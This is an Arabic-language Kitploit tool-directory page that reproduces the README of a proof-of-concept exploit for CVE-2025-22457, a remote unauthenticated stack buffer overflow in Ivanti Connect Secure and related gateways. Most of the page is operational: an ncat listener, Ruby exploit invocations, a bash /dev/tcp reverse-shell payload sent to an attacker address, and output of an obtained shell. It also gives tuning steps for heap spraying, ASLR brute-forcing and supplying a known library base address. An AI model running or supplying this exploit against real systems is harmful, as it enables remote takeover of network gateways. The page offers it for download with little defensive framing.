Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/trone-ux/cve-2025-22457
أطر الاستغلالتحليل الثغرات الأمنيةالاستغلالشيل كودأمن الويبأمن الشبكاتاختبار الاختراقالفريق الأحمرأداة الوصول عن بعدتطوير الحمولاتاستغلال الملفات الثنائية
13منذ سنة واحدةلم تتم المراجعة بعد
GitHub
trone-ux/cve-2025-22457

CVE-2025-22457

إثبات المفهوم CVE-2025-22457

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات المفهوم لـ CVE-2025-22457

ثغرة تجاوز سعة المخزن المؤقت (stack-based buffer overflow) عن بعد بدون مصادقة تؤثر على Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure, و ZTA Gateways

نظرة عامة

هذا إثبات مفهوم (PoC) لاستغلال الثغرة لإظهار استغلال CVE-2025-22457. للحصول على تحليل فني كامل للثغرة واستراتيجية الاستغلال، يرجى الاطلاع على تحليل Rapid7 هنا:

https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis

الاستخدام

يمكننا تشغيل هذا السكريبت ضد هدف Ivanti Connect Secure ضعيف، الإصدار 22.7r2.4 كما يلي:

ابدأ مستمع netcat لاستقبال الـ reverse shell.

root@kitploit:~
C:\>ncat -lnvkp 8080

شغّل الاستغلال وفرض ASLR بالقوة (سيكون هذا بطيئًا).

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering..

عندما يعمل، ستحصل على reverse shell.

root@kitploit:~
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$

التصحيح

عمليات الويب الفرعية

اعتمادًا على العتاد الأساسي، سيحدد عدد وحدات المعالجة المركزية (CPUs) المتاحة للجهاز المستهدف عدد العمليات الفرعية التي سينشئها برنامج /home/bin/web. نظرًا لأن جميع طلبات HTTPS الواردة سيتم توزيعها بالتساوي بين هذه العمليات الفرعية، نحتاج إلى مراعاة ذلك وتنفيذ رش الكومة (heap spray) عددًا كافيًا من المرات لجميع العمليات الفرعية. نحتاج إلى فعل ذلك لأنه عندما نقوم بتشغيل الثغرة، لا يمكننا معرفة أي عملية فرعية سنقوم بتشغيلها فيها. لذلك نحتاج إلى أن يكون رش الكومة موجودًا في كل عملية فرعية.

  • 1 vCPU - عملية ويب واحدة، لا توجد عمليات فرعية
  • 2 vCPU - عملية ويب رئيسية واحدة، عمليتان فرعيتان
  • 4 vCPU - عملية ويب رئيسية واحدة، 4 عمليات فرعية (هذا هو الإعداد الافتراضي، ويتوافق مع منصة Ivanti Connect Secure ISA4000-V)
  • 8 vCPU - عملية ويب رئيسية واحدة، 8 عمليات فرعية (هذا يتوافق مع منصة Ivanti Connect Secure ISA6000-V)

على سبيل المثال، في جهاز ضعيف مخترق (rooted)، شغّل الأمر التالي لرؤية عدد عمليات /home/bin/web الفرعية:

root@kitploit:~
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S   104  3012  2394  0  80   0 - 26313 -      ?        00:00:00 web
4 S   104  3013  2394  0  80   0 - 24931 -      ?        00:00:00 web80
1 S   104  4947  3012  2  80   0 - 28209 -      ?        00:01:27 web
1 S   104  5217  3012  1  80   0 - 31527 -      ?        00:00:49 web
1 S   104  5695  3012  0  80   0 - 28199 -      ?        00:00:00 web
1 S   104  5715  3012  0  80   0 - 28199 -      ?        00:00:00 web
bash-4.2#

يمكنك تحديد العدد المتوقع لعمليات الويب الفرعية عبر الوسيط --web_children، على سبيل المثال:

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4

العنوان الأساسي لـ libdsplibs

إذا كنت تختبر إثبات المفهوم (PoC) على نظام محلي، قد ترغب في تجنب فرض العنوان الأساسي لـ libdsplibs. في هذه الحالة، يمكنك تمرير عنوان أساسي معروف إلى إثبات المفهوم عبر الوسيط --libdsplibs. على سبيل المثال، في جهاز ضعيف مخترق، شغّل الأمر التالي:

root@kitploit:~
bash-4.2# ps -A| grep web
ps -A| grep web
 3200 ?        00:00:01 web80
20536 ?        00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879                             /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879                             /home/lib/libdsplibs.so
bash-4.2#

ثم يمكنك تمرير العنوان الأساسي المعروف إلى إثبات المفهوم على النحو التالي:

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering...
تنزيل الأداة